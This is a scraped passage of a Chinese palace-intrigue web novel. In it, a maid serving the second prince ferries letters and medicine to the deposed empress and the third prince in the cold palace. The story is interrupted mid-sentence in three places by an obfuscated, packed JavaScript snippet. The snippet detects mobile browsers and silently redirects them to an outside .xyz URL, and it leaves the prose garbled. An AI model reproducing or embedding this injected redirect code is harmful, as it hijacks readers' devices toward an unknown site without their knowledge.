《朕不要一朵菟丝花》 1. 掌中栖雪(一) 宁朔十五年,一夕冬至。 大雪下了彻夜,晨时压塌了青松。 凛风飞雪当空,廊下传来几声啜泣,一字一句隐在落雪的簌簌声里。 宫人执伞途径此处,循声到檐下,只见一个小宦官。十五六岁的少年独自抹着眼泪,冻得瑟瑟发抖,见人来了也不抬头,活像一只雀儿,藏在檐下躲风雪。 素不相识,宫人见了还是问一句:“你这是怎么了?” 小宦官仰起头来,赶忙在外人面前抹干净脸,吸吸鼻子,还是忍不住抽噎。 宫人笑了笑,递给他一方素帕子。 小宦官接了,才开口言说。他名唤长芨,本要去往西苑送书,谁知途中滑了一跤,伤到了腿,于是耽搁在此处了。 宫人站在廊下收了伞,劝他道:“那就在此歇一会,待雪停了再走吧。” 长芨摇摇头道:“可大人还在等着。” 宫人道:“赶着去了也还是会摔的。你进宫几年了?在何处当值?上司怎么这样不近人情?” 长芨说道:“我在掖庭宫当差将近六年,多亏那里的公公为我说尽好话,才能调到秘阁*去,做些清闲差事。可谁知……谁知大人才派给我第一件差事,眼看就要搞砸了。” “原是祝大人交代的啊……”宫人若有所思。 长芨道:“宫人也认得祝大人吗?” “真是巧。”宫人淡淡叹道,“我入宫也是六年,自然听说过他的。” 长芨扶着柱子一瘸一拐站起来,忙道:“顾不得与宫人闲谈,我该走了,去得晚了回去就只得领罚了。” 说到这里,他鼻子一酸,眼看又要掉泪。 宫人笑着安慰他道:“好了好了,别着急哭。正好我要去掖庭,离那处近,这些书我顺道替你送去吧。” 长芨从袖中抬眼:“宫人说的当真吗?” 宫人道:“你回秘阁向祝大人复命便是,他是个极宽厚的人,不会责罚你的。说不定今日大人见了瑞雪高兴,还有赏赐呢。” “那就多谢宫人了。”长芨一瘸一拐站起身,朝她作揖道,“敢问宫人贵姓,我得了赏赐该到何处找你?” 她回过头,同长芨笑着道:“我姓兰,是静和宫的宫人,你叫我鸣竹就好。主子平日里待我极好,那些赏赐你自己留着,以后在宫里四处行走总用得上,不必总想着我。” 她撑着伞走进雪幕里了,小宦官在她后面喊:“姊姊早去早归。” 少年的声音被落在后头了,名唤“鸣竹”的宫人轻轻叹了口气。 她骗了那小宦官,其实她不姓兰,至于真名,姓竺名影。 趁四下无人,她取出早就准备好的信封,夹在尚书的书页间。 才从掖庭宫出来,这会又往那方向去。 这一条宫道通往掖庭的最西端,离陛下的鸿嘉殿最远,罕有人至,连扫雪的宫人都不会有。 松枝被压断,还掩在落雪里。 唯有竺影冒雪而来,朝最偏僻的那处屋宇行去,在漫长雪道上留下一行深刻的足迹。 绕过转角便是宫殿正门,蚀迹斑斑的木板门紧闭着,门上的匾额早拆了,不知是拿去做了废料还是柴火。这座废弃的宫殿在掖庭的最西边,没有名字,或许该称为西苑,只是人们习惯称此处为冷宫。 这是竺影入宫的第六年,也是陆皇后因不敬宗庙被废,三皇子自请随她移居冷宫的第七年。 许多年以前路过此处,会听到飘过高墙的歌声,如泣如诉,不成曲也不成调。 到而今的第六个严冬,这里安静极了,仿若听到了雪落的簌簌声,而封堵的高墙之内,什么也没有。 没有暖意,也没有人声。 于是她踏过枯枝败叶的声音,轻易就打破一方天地的沉寂。 “可有人在?” 竺影在门槛前站定,轻叩了几下宫门,里面即刻传来急促的脚步声。 “是医官来了吗?” “吱呀”一声,破旧的朱门支开一条缝,宫人从里头探出头来四处张望。 见了是她,羽音刚扬起的眼角又低垂下来。 竺影道:“我今日是来送书的,秘阁值守的宫人在雪地里摔伤了腿,托我代他走这一趟。” 说罢,她拨开厚重的披风,从怀里取出几册布帛包裹的书籍,捧送至羽音面前。 羽音隔着门缝接过那几卷书,苦笑着道一声:“那便多谢你了。” 回身时又丧气不已,喃喃自言道:“卯时就叫了人去请,已经这个时辰了,太医署的人怎么还不来?” 竺影随口一问:“我来时见掖庭宫里多人染了风寒,这里也有人染病了吗?” 羽音忍不住抱怨:“天寒地冻的,又被克扣炭火,怎么能不害病?” 竺影道:“太医署的人,今天兴许不会来了。” 羽音将她当成了平日里落井下石之人,转过头来嗔怪道:“你这说的是什么话?” 竺影说道:“圣上病笃,宫中有资历的太医都去了鸿嘉殿,余下的医者照例要去为后宫妃嫔诊脉,实难延请。掖庭宫里的病人尚且受冷落,此地更是偏远,大概是等到天黑也不会有人来了。” “原来是这样,我说太医署的人怎么这般怠慢呢……可是夫人她……这可怎么办才好?”羽音急得来回踱步,又上前挽住竺影的手,低声恳求道,“好姊姊,可否劳烦你去催促一下,我们这儿有人染了风寒,已病了好几天了,实是不能再拖下去了……” 竺影侧耳听她说着,虽未说是何人染病,但能让他们如此心焦的,也就只有那位陆皇后了。 如今不会再有人称她为皇后,背地里提起,也都以“冷宫那位”代称之。 羽音一边将捂得温热的玉佩往她手里塞,一边说道:“今日风雪紧,姊姊且拿上,回去喝一盅热茶。我知晓宫人心善,若换作是平时,万不会如此劳驾你。” 竺影将玉佩推了回去,婉言拒绝:“收回去吧,我亦位卑职小,即使去了太医署也是徒劳。” 宫中没几个人愿意领冷宫的苦差事,更不会有人闲来无事到这偏僻之地,平添晦气。搞不好,还会得罪了后宫其他妃嫔,落不到什么好下场。 只剩眼前这根救命稻草,羽音自是不肯轻易放弃,继而哀求:“求求你了,哪怕是去报个信,或是能代取一两副药材回来也好……” 竺影还未应答,只听冷风中传来一声呵斥,命令的口吻中掺着几丝愠怒。 “羽音,回来。” 羽音慌忙回望一眼,又不甘地看向竺影,不情不愿地撒开了手。 竺影自然清楚这声呵斥出自谁人之口,可她透过狭窄的门缝窥去,却什么也没见着。 隔着破败的门扉,竺影叹了口气,朝门内的人说道:“我所能做的,无非是去催促一声,至于太医愿不愿过来,可不敢保证。” “什么?”羽音未料到她突如其来的转变,眉眼一弯一提,欣喜道,“那便多谢宫人了!您愿意去已是极好的了。” 竺影见她喜出望外,又叮嘱:“这几册书早些为三皇子送去,月末会有人过来取。” “好,好。”羽音连连应答,旋即往院中跑去。 透风的门板隔绝了冷宫萧瑟与宫城繁华,竺影也旋踵撑着伞往回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361906|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路走,冻风凛冽刮过耳畔,低头一看,积雪没过了鞋面,又将鞋袜浸湿了,难怪冻得没知没觉。 走到后宫通往鸿嘉殿的那一段宫道,行人渐渐多了起来,不断有宫人往返两地奔忙。 除了冷宫的废后与三皇子,此刻所有的妃嫔媵嫱、王子王孙都守在鸿嘉殿。 办完了主子交代的事,竺影随即赶去鸿嘉殿复命。 行过漫长的宫道,途径两棵被压折枝干的松木,抬眼望去便是鸿嘉殿的匾额,隐在雪幕里,像是褪了色。 宫门外聚集了诸多臣子,身着齐整的鸦青色氅衣,头戴同色的风帽,卷着貂皮或银鼠皮的毛边。 他们时而叹息,时而私语切切,其中夹杂了三两声低咳,莫名突兀。 陛下邪风入体以来,已经昏迷了数个昼夜,听值夜的太医说,陛下不久前有转醒的迹象,故而此时众臣都候在鸿嘉殿外。 宫人们进进出出往偏殿添置炭炉,将一室烘烤得暖意融融。 有一人拥银狐裘,戴攒珠金冠,眉目如墨,骨重神寒,沉静坐在轩窗下,看着竺影一路从殿外走来。此刻又无言凝着一庭雪景,眼中亦有霜雪晶莹,不知在想些什么。 他是当今圣上的第二子,孟晓,字明谌。 竺影从侧门进来,绕过帷幄行至孟晓身旁,俯身同他私语:“殿下,冷宫那位已经病了多时,应是无法再耽搁了。” 孟晓不甚在意,只问她:“东西呢?” 竺影回道:“送出去了,是他身边的宫人来收的。” 孟晓道:“那便好,只是不知我那三弟……他见了信,会作何想了。” 竺影道:“他会答应的。” 孟晓笑着问她:“你怎就料定?” 竺影道:“涸辙之鲋,笼中困兽罢了,他没得选。” 孟晓轻轻点了点头,道:“你不知他从前如何蠢笨,一意孤行,只盼着他吃过了些苦头,才识时务。” 他又转头,透过窗格,去窥那些裹在鸦青套子里的大臣,顿然生了琢磨的心思。 “近两年来,父皇偏听偏信于秘书监与太史令,说不好那位祝大人是忠是佞,我更料不准父皇是明是昏了。” 储君尚未议定,一国之君却突然病笃,自陆皇后被废以来,六宫迟迟无主,眼下无一个代理朝政的人。值此局势纷淆之际,各方势力蠢蠢欲动,各怀鬼胎。 能左右朝堂政局、天下大势之人,都聚集在这鸿嘉殿了。 孟晓非但没有半分焦急,反而拉过竺影的手来,指着殿外那一幕问她:“此情此景,你觉不觉着有些好笑?” 竺影回道:“是有些可笑,只依稀记得,不久前陛下欲在北地重建观星楼,却被诸位大人百般阻拦,才被气得病倒了。殿外诸位——算得上是罪魁祸首。” 一群“罪魁祸首”当中,竺影不着痕迹地瞥了那掩口咳嗽的臣子一眼,沾雪的风帽下,只见他神情肃穆,垂目对着迎面落下的雪尘。 正是二皇子口中的祝大人,当朝秘书令,天子近臣,深得陛下爱重,宫中内侍唯独不敢怠慢了他。 孟晓提起他时,并无不恭:“倒是可怜祝大人被这群始作俑者牵连,拖着病体还得到外面守着。你去将他请进来吧,省得父皇醒了还要怪罪于我。” 竺影问道:“若是祝大人不肯进来呢?” “不肯进来便罢了,由着他去。”孟晓又递给她一块腰牌,叮嘱道:“再拿上这个,去一趟太医署,别让冷宫那位等着急了。” 竺影收起腰牌,点头应是。 殿外还下着小雪,她捧起手炉掀了帘子出去,径直走向祝从嘉。 2. 掌中栖雪(二) 见人走近,他也侧目看过来。 竺影低下头,将手炉捧至他面前,恭恭敬敬道:“祝大人,殿外风寒,二皇子请您移步至偏殿等候。” “众臣同在风雪中,没有独我一人畏寒的道理。”他轻言,推拒了这番好意。 他不曾接过的暖炉在竺影手中被握得紧了又紧,炉中新添了炭火,很烫,灼得她掌心都生了汗。 她继续道:“祝大人尚在病中,能躬身到鸿嘉殿守着已是虔诚之至。纵然忧君心切,也须得顾及己身。倘若圣上醒了怪罪下来,倒成了小人怠慢之失。” 听她这样说,鸦青氅衣下才探出一只手,接过那只绸缎包裹的手炉。 祝大人略略点头,展眉道一声“多谢”,继而漠然望着覆雪的鸿嘉殿,没再去看她。 她轻声答:“小人分内之事,大人不必言谢。” 擦肩而过时,几粒雪尘栖在他肩头,又随风坠落,委地无声。 没走出几步路,便听殿中常侍疾步上前来,众臣子都围了上去。 “陛下已醒,诸位大人可以回去了。” “什么?”众人不解,又开始嘈杂。 “陛下可好些了?” “我等还未见过陛下一面。” 尚常侍向众人作了一圈揖,后朝祝从嘉躬身一拜:“陛下召秘书令祝大人入殿中去。” 竺影只听得皇帝转醒的消息,未来得及歇息,又一路赴风蹈雪奔忙,前往太医署。几位太医刚刚从各宫为妃嫔诊脉回来,正聚在屋里拥着火炉闲聊。 这样寒冷的时节,谁都不愿意出远门,可偏偏是此时等着治病的人最多。 竺影还没踏进太医署门槛,就被人给拦住了,那人趾高气扬道:“你是哪个宫的?” 竺影取出腰牌往前一递,说道:“我是静和宫的宫人。” 那人见了“静和宫”几个阴刻描金的字,当即变得客气了起来,不仅放她进门去,还一路相随问道:“柳太医刚从宜夫人那儿回来,宫人这时前来,又是为何事?可是夫人的头痛又犯了?” 竺影道:“并非。是主子遣我来问一句,冷宫里有人请医,为何太医署无一人前去?” 这话传进屋子里,方才还闲坐着的几位太医,这会儿都散开了。一个个低头翻书,或是提着个空秤杆装模作样,再看一眼外头亮堂堂的天,睁着眼睛说瞎话:“本来是要去的,可是天色不早了,我等也刚从几位夫人那里回来,且待明日吧。” 竺影自是不信,只怕是明日复明日,一再拖延罢了。 她看向拿秤杆那一人,试探着问:“柳太医,能不能劳烦您拨冗去一趟?” 柳太医笑眯眯推辞道:“下官这会正要为宜夫人抓配药材,实在抽不开身。” 竺影又看向另一人:“那章太医呢?杜修容与容贵人近来身体安康,您现下不忙吧?” “下官正忙,你找另一个张太医去。”章太医捻着医书,一副煞有介事的样子。 张太医听了,默默拔开腿离去。 竺影咬了咬牙,从袖中掏出一枚比屋外还亮堂的金锭子,趁其不备塞到张太医手里,笑问道:“张太医,能否劳您抽空走一趟?” 那金锭子在他手中盘了几圈,好似烫手得很,反复忖度着该不该接。见同僚选择睁一只眼闭一只眼,张太医才一言不发收下,转头收拾起药箱。 竺影道一句“今日风雪紧,张太医早去早回”,便回静和宫了。 今日忙着在风雪里奔波,到宜夫人寝宫门口时,已经是掌灯时分了。宫人们正顶着寒风在外扫雪,清出行人常走的一条空道。 宜夫人的暖阁中飘出袅袅檀香,送去些微不足道的暖意。 她如常回到屋中,随手搁下纸伞,解了风帽与披风,站在门口掸落衣上的雪。转眼却瞥见个紫衫人影,正坐在座上喝茶,吓得她往后退了半步。 未曾料想原本守在鸿嘉殿的二皇子,已先她一步回来了。 他指尖轻弹杯盏,惊散茶水上的浮沫,笑看向她道:“没打招呼,吓到你了?” 竺影收起恍惚的神思,改换一副笑颜,上前说道:“殿下怎么回来得这般早?” 孟晓道:“你走后不久,父皇便醒了,只召了秘书监和中常侍到榻前,余下人都被赶了回来。” 竺影道:“倒也不算稀奇。” “谁人又晓得,鸿嘉殿的大门之后,是怎样一番局势。”他低头摩挲着瓷杯,似百思不得其解。 竺影劝道:“殚精竭虑了几日,殿下早应当好好歇息。陛下苏醒自然是好事,那些朝臣也该消了浑水摸鱼的心思。况且祝大人还什么都没说呢,冷宫那位也尚未给个明确的答复,殿下无需操之过急。” 孟晓道:“我倒是不着急。父皇亲信太史监那帮神棍,重建观星楼与立储之事,还须得问天,眼下还做不了决定。” 竺影又说道:“太医署已经派人去过冷宫了,还不知那里面是什么样的境况。” 孟晓抬手召竺影过来坐下,顺手给她添了一杯热茶。茶味清苦,他丢了些橘皮进去煮,夹杂着淡淡的柑橘香。 “倒是辛苦你,冷宫偏远,往后还要劳你时常过去。” 竺影低头道:“能为殿下排忧,谈不上辛苦。” 屡屡氤氲的热气,模糊了他似笑非笑的面容。 他在屋中拥狐裘炉火,却望着窗外的白雪,说道:“今年的雪下得这样大,冷宫的日子应该极难捱吧。” 竺影道:“无人与之取暖,自然难捱。当年陆氏余党被清算,三皇子身后已无母族,他在宫中毫无仰仗,急缺一个雪中送炭的人。殿下在此时施以援手,他断没有拒绝的道理。” 孟晓却道:“就是不知他有没有这个觉悟了。襄王、梁氏一党愈发猖狂,父皇为此辗转反侧,外祖也因此忙得焦头烂额,我就是看不惯,他孟闻凭什么还能躲在一隅,安稳度日?多一个人挡刀,何乐不为?” 竺影道:“殿下就不怕他来日与您相争吗?纵是手足也难保不会背叛,襄王殿下与您也同为手足——” 孟晓偏头扫她一眼,不以为然道:“他什么都没了,拿什么同我争?” 竺影笑了笑道:“私以为比起一个残缺之人,殿下会更忌惮曾经的中宫嫡子,原来是我会错了意。” 她口中的残缺之人,便是那跛足的襄王,大皇子孟觉。 至于三皇子,也在皇后被废后,成了废太子。 最初她以为孟晓会选择置之不理, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361907|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并期盼着那个变数悄无声息死在某个寒日里。 他面上云淡风轻,只是端茶啜饮,又道:“你不了解他。他比孟觉懦弱得多。” 竺影道:“可以后还要时常与他往来,只能从殿下这里多了解一些。” 孟晓道:“待我闲时,自会与你细说。” 他像是还有别的事要忙,饮了口茶便搁下杯盏,不再多留。 似想起什么,又回过身叮嘱:“近日襄王也在宫中,保不准要想起些新仇旧恨,要同你清算。我没法时时顾及,你还是避着他些。” “我知晓的。” 竺影同样起身,送他到门口。 他道:“听尚常侍说,父皇还在念着重修观星楼一事,过些时日还要与朝中几位大臣还要就此事商讨,兴许会再度鸡飞狗跳。我也要出宫一趟,你代我转告夫人。” 竺影点头应好,正要去拿伞相送,却被他抬手拦下。 “留你清闲一阵,记得月末的事便好。屋外冷,就不必送了。” 说罢,他便携着翻飞的狐裘一并钻入风雪之中,任冬风卷起袖袍猎猎作响,肆意独行。 风搅长空,瑞雪落千里,千楼万阙皆似白云朝。 一场雪持续到了月末,断断续续落了十几日。 竺影在月末再度前往冷宫。 这一段路并不好走,她心甘情愿几次三番前往,其实藏了一颗私心。 陆皇后因陆尚书案被废,竺影的父亲也是被此案牵连,举家流放三千里。 她本该随家人一并受迁徙之刑,到交州去,却辗转入了宫,出现在这里。 那些人不知道她的本名,长芨不知晓,孟晓也不知晓。 竺影沿着宫墙缓缓而行,仰头时,雪晴了。 白雪之下露出斑驳破碎的灰瓦,积雪化作雪水从檐角滴下,在雪地里砸出深深浅浅的坑,雪化了会更冷。 雪融声里,夹杂了窸窣的脚步声。 竺影回首,顺着滴水的屋檐望去,步子不由滞住了。 她见冷宫外有个二十出头的年轻男子,绿檀簪发,拥着件陈旧的青灰鹤氅,清清冷冷地站在青砖宫墙下,一如冬雪失色。 这是竺影第一次在宫中见到他,换作是往日,只有侍奉废后的宫人候在这里,他不会亲自来。 唯独今日不同,是孟晓在信中与他约定的日子。 也许他清楚地知道这是算计,雪中送炭的算计。 可又不得已踏入这样的圈套里。 竺影拔腿向他走去,只是面对此人,一时竟想不出一个合适的称呼。 他没有封爵,更没有自己的宫殿、府邸,是连“殿下”也称不上的。 孟闻站定等她走近,竺影拢袖俯身向他行了一礼。 他等着宫人将誊抄完的原书送来,随后问她:“你是来取书的?” “不,我是来送药的。”她如是作答。 “送药?”孟闻的目光落在她身上,陡然生出了打量的心思。 她裹着件空青夹袄,着缥碧下裙,腰上系着鹅黄围腹,是寻常宫人的打扮。而她手上真捧着一个包裹。 竺影低着头,听见他一声言辞犀利的问候:“难不成太医署的人也摔伤了腿?” 3. 掌中栖雪(三) 他不像传闻中那样温和,也不像孟晓说的那样好诓骗。 不知是不是三两年风雪欺压,让他多生出几分刻薄。 竺影回道:“是太医署的人怕摔伤了腿,才不愿出门。” 他不由哼笑,轻飘飘道了一句:“有劳。” 竺影有些气恼,索性将药包放在一旁的空地上,说道:“小人只是来此送药的,奉命行事罢了,也无需过多解释什么。信与不信,都是三皇子的事。” 孟闻瞥一眼地上的包裹,平静看着她道:“十五那日,是你在门外告知陛下病笃。” “是。”她顿在原地,不曾否认,继而说道,“陛下已经醒了,不日便会痊愈,三皇子不必忧心。” 若非她“随口一提”,这些消息根本传不到冷宫里。 他听了,不仅没多分毫的触动,反而是反问:“我何时忧心?” 好似他的每一句话都奔着止住话头去,叫竺影无法出一言以复。 料想他心中有怨恨,大抵是不在乎龙椅上的人康健与否。 “这两日的药材已经送到,若无旁的事,小人先告辞了。” 竺影不愿多留,匆匆行过一礼便慌忙退去。行走时抬脚太过匆忙,险些栽进了雪地里。 这会刚回到静和宫,宜夫人身边的贴身宫女紫裳着急来催促:“你怎么才回来?夫人今早又犯了头痛,正催你过去。” 竺影解释道:“宫道上雪厚难行,才回得迟了些,我这就过去。” 紫裳又问:“你今日去了哪里呀?” 竺影道:“掖庭,二殿下差我去送些东西。” 紫裳道:“快些过去吧,夫人等你多时了。” 宜夫人,乃是尚书令陈柯之女,名素清。她是二皇子生母,仗着一副好姿容与背后的家族,颇得圣眷,多年以来盛宠不衰。 自十月以来,暖阁中的炭火整日不息,一室暖意,与门外的冰天雪地俨然两个世界。 竺影进了门便同她行礼,毕恭毕敬唤了一声“夫人。” 香烟从金炉缝隙中喷薄而出,燎得人睁不开眼。 贵妃榻上的宫装妇人轻阖着眼,没有应声。 兴许是睡着了,亦或是存心想让她跪着,竺影没有再唤第二声。 二皇子也正是这时回宫,前来给夫人问安。 他进门看了竺影一眼,便对着宜夫人道:“鸣竹犯了何事?母亲为何让她跪着?” 宜夫人这才不急不缓睁开眼,困顿地直起身来,笑道:“方才吃了副安神的药,睡过去了”她又转看向竺影,“你这孩子,怎么进了门也不出声?快快起来吧。” 竺影终于松了一口气,替宜夫人解释说:“小人也才刚来,怕惊扰夫人好眠不敢作声。” 宜夫人道:“下次再这般,你多叫我几声,我便醒了。” 竺影轻轻应了一声,上前为宜夫人掖好膝上的绒毯,又问道:“柳太医今日来看过,夫人现下可还头疼?小人为您将这些熏香都换成艾熏可好?若不得缓解,便再请太医来一趟。” 宜夫人稍稍抬手示意,算是应允了。 竺影轻手轻脚撤去香炉,待屋中烟气散去之后,才熏上艾香。 二皇子刚从外廷回来,此刻坐在香案一侧不说话,似乎心情不大好。 不多久,宜夫人主动问起他:“近日你父皇醒来,召你去鸿嘉殿,可有说了什么?” 孟晓回道:“他问昏迷这些时日外廷与后宫发生了哪些事,说些无关紧要的事罢了。不过经他病了一场,那些大臣也不敢拦着观星楼重建一事了。” “观星楼……”宜夫人听了忍不住发笑,“许多年以前的事了,他如今念及,是要重叙旧情么?” “什么旧情?”孟晓听得云里雾里,他那时尚年幼,对这些旧事不甚了解。 宜夫人缓缓道来:“从前世人道皇帝与冷宫那位夫妻情深,陛下曾许诺云琅城观星楼落成之时,会与那位携手登高楼,同为万民祈福。陛下对这事很是看重,任命陆氏的人亲自督促建造,于是一座高楼修了足足四年之久。”说到这儿,她忍不住讥笑,“可熟料天意弄人,观星楼刚刚落成就起了大火,还真是——天也不容。” 竺影在一旁默默听着,她只知家乡当年多出这么一座高楼,是天子为天下百姓祈福禳灾而建,今日才知背后藏了这么一段秘辛。 孟晓听完,也只是干笑一两声,道:“原来如此。” 宜夫人道:“昔年陆氏的荣耀由此得,也因此失,安知是福是祸呢?所以母亲劝你,勿要插手这事了。成与不成,早晚都会引得他不悦。你父皇这人呐——最是多变。” 孟晓垂眸道:“多谢母亲提醒,儿知晓分寸。” 宜夫人又一手扶额倚在榻上,深叹了口气道:“我今日有些头疼,想歇息片刻,你且回去吧。” 明谌上前接过竺影手中的丝扇,轻轻扇走熏炉上的烟气。 他道:“该叫那些侍奉的宫人再仔细些,进出时掩好窗牖,及时添炭,莫让母亲再吹风受凉了。” 宜夫人阖着眼道:“经年的旧毛病了,冬月里难免犯上一两回,等到开春自然就好了。” 她又唤了一声:“鸣竹。” 竺影应声道:“小人在。” 宜夫人吩咐道:“二皇子今日奔波劳碌,你领他回去,侍奉他早些休息。” 竺影抬头看了孟晓一眼,缓缓应了声:“是。” 孟晓起身向宜夫人辞行:“儿先回去了,母亲也少些忧劳。” 宜夫人点头道:“嗯,去吧。” 方一踏出暖阁,呼啸而过的北风猛然灌进衣襟与袖口,冻得人浑身僵直。 竺影掩好了门,亦步亦趋跟上孟晓。 回停雪轩的路上,他边走边问:“今日的事办得如何?” 她面露难色,先是摇头。 孟晓道:“他没答应吗?” 竺影道:“答应了,我见到他了。奈何他信不过我,又或者说,他不相信任何人。” “这倒好办。”孟晓提醒她道,“你与栖梧宫的那位旧友,已经许久没见过面了吧?” 竺影道:“殿下的意思是?” 孟晓道:“若有近水楼台,便会好办得多,想办法露出些许与陆氏有关的蛛丝马迹,他自会上赶着同你扯上关系。” 她默了片刻,暗自忖度一番:“我知晓该如何做了。” 栖梧宫有一宫人,旧名陆芃,今名唤醒枝,是已故陆尚书之女,也是陆皇后的侄女。 竺影与她早在入宫前就相识,后也因同一场灾祸相继获罪入宫。 起初也曾互相依偎,在这深宫之中求存,后来竺影另寻了庇护,静和宫与栖梧宫的两位主子向来不对付,两人也就渐行渐远了。 得孟晓授意,趁着翌日雪晴,竺影一早便往栖梧宫。 陆芃刚从杜修容的寝宫回来,于茫茫雪道中见了她,颇感意外。 她是这个冬日里的不速之客,陆芃待她迎面走来,其实算不上欢迎。 “你怎么会过来?” 竺影道:“得闲了,来见一见你。” 陆芃四下张望,见庭中无人,才道:“正好与我同住的宫人还没有回来,进屋吧,我给你煮些热茶。” 竺影轻声道好,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361908|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她进屋。屋内没生炭火,全靠紧闭的门窗困住一丝暖气。 她叫竺影帮忙生炭火,自己则翻箱倒柜去寻茶叶,找来找去,也只找到一些陈年的碎茶,轻轻一捏就碎成了渣滓。 茶炉里的炭火通明,融化的雪水也沸腾起来,她飞快把茶叶倒进炉子里,低眉等待茶香蔓延的过程中,通红的面上透着窘迫。 竺影还没开口,她先自嘲道:“来来去去还是混成这样,让你见笑了。” 竺影道:“杜修容素来节俭,今年国库里拿不出钱,她应当往里添了不少吧。缩减了宫里开支,留给宫人的赏赐自然也少了。” 陆芃道:“我本以为一整个冬日见不到你的。” 竺影笑道:“今年暖和些,夫人的头疼没怎么犯过。后来鸿嘉殿也出了事,她便顾不上搓磨我。” 陆芃道:“原来是这样,我也听说了。” 她指节冻得通红,给竺影递上杯盏时还在微微发颤。 竺影捧起瓷杯,一股苦涩之气萦绕在鼻尖挥之不去,与某个人身上的气息像极了。 她有意提起:“不久前我去了一趟西苑。” 茶杯刚送到嘴边,还没抿上一口,陆芃却倾身上前,一把握住她的手腕。 “那我姑母……姑母她如何了?” “那时她染了风寒,拖了许久,一直请不到太医。她身边的婢子求我去太医署帮忙催促,我便顺路走了一遭。”竺影从袖中取出一张药方展开放在案上,“这是太医署给她开的药。” 陆芃问:“你如何弄得到这个?” 竺影道:“太医问诊皆记录在案,为宜夫人取药时,这医案就放在一旁,我匆忙看过几眼记下来了。” 陆芃并不怀疑竺影的说辞,只是盯着药方上写下的一味又一味药材,不由皱起了眉头。 药方上全是寻常滋补的药材,乍一看揪不到任何错处。 可太医署的人本就时时怠慢,又怎会闲来无事给冷宫的废后开一些进补的药方呢?何况这些药材对治疗风寒无甚裨益。 除非是太医得了别人授意,不敢治好她,亦或是治不好她。 于是这张中规中矩的方子便成了退路。 陆芃握住竺影的手,说道:“阿影,你一定有办法能帮她的对不对?不然你不会来找我。” 竺影道:“可你知道外面的人进不去,纵我亲自去了,西苑的人也未必会信我。” “你等一等。”陆芃起身到架前取来纸笔,就着茶案的一角写下一张香方。 陆芃道:“这是姑母教我调的香,你照上面的法子制成香囊,姑母她一定记得。” 墨迹阴干的间歇,她又从柜中取出一个陶罐,用蜡封上了口。 竺影问她:“这又是什么?” 陆芃道:“山黄皮,拢共就剩下这些,我没舍得吃,你替我送去给她吧。” 竺影道:“将这些送去,她能知道是你吗?” “不,你别说是我。”陆芃心有顾忌,此刻摇着头道,“你也看到了,我并没有比她好过到哪里去。别让她知道我,别让她为我担心。” “好。”竺影点头应下,要离去时,见杯中茶一口也没动,客人如此,到底对主人不恭。正要端起杯子却被她拦下了。 “怎么?”竺影放下那杯浑浊的茶水,茶叶渣还在杯底沉淀着。 抬眼看去,听陆芃奚落自己:“茶一句凉了,就别喝了吧,反正也不是什么好茶。” 她就是这样拧巴的怪人。 末了,也没喝上她一口茶。 竺影收起香方与陶罐,只撇下一句“走了”,没再多留。 4. 掌中栖雪(四) 冬节将至,掖庭的宫人提前一月就开始忙碌,节庆前几乎是脚不沾地。独冷宫例外,热闹不会蔓延到那里。 竺影来时没有下雪,那人还如上次一样,立在西苑的青砖墙下,望着砍伐过的枝柯出神,貌似在等什么人。 直到竺影走过去,他的目光也落了过来。 她还是和上次一样的打扮,怀揣些东西,腰间佩一只鹅黄香囊。 悄促促似鬼使神差,她上前几步,唤了一声“殿下”。 孟闻也没说起其他,直接同她道:“随我进来吧。” 竺影不作询问,默默跟随他踏入冷宫的门槛。 平日里为了聚起暖气,冷宫的正门总是紧闭着,此时却为她敞开。 腥苦的药味攀上鼻尖,这是她头一回完整地窥见这方天地。 偏僻幽深,东风不至。 庭院里打扫得极干净,檐下没有积雪,也没有杂草。西苑除了陈旧些,似与掖庭宫的居所没什么不同。 院子正中有颗高大的棠梨树,有个宫人正在拾树下的枯枝做柴火,抱薪往厨房去,另一个坐在廊下,借着天光往冬衣夹层里填上丝绵,又细细缝上。她们都是当年一道随废后来此的。见来了生人,好奇瞥上一眼,又自顾自忙活。 孟闻领着竺影进屋,随口叮嘱:“不必关门。” 屋中敞亮,四面透光也透风,很冷。陈设不过一席一方书案,应当是他的书房。 竺影望着他清减的身姿,极想知道在这样的陋室,能养出一个什么样的皇子来。 孟闻转过身来看她,问起:“药是你换的?” 竺影故作不懂,问:“什么药?药是张太医开的,小人只是代为送达。” 孟闻道:“两天前送来的药,加了些别的药材。麻黄与苦杏仁过量则有毒,太医署的人,他们不敢用这些药。” 他不带责问地打量,一字一句,轻飘飘揭过了她的谎。 诚然,他自幼在深宫里长大,那群医官是什么德行,他比竺影清楚。 竺影问道:“那么这药会否比太医开出的补药效果好些?” 他不答,又问:“你通药理?” 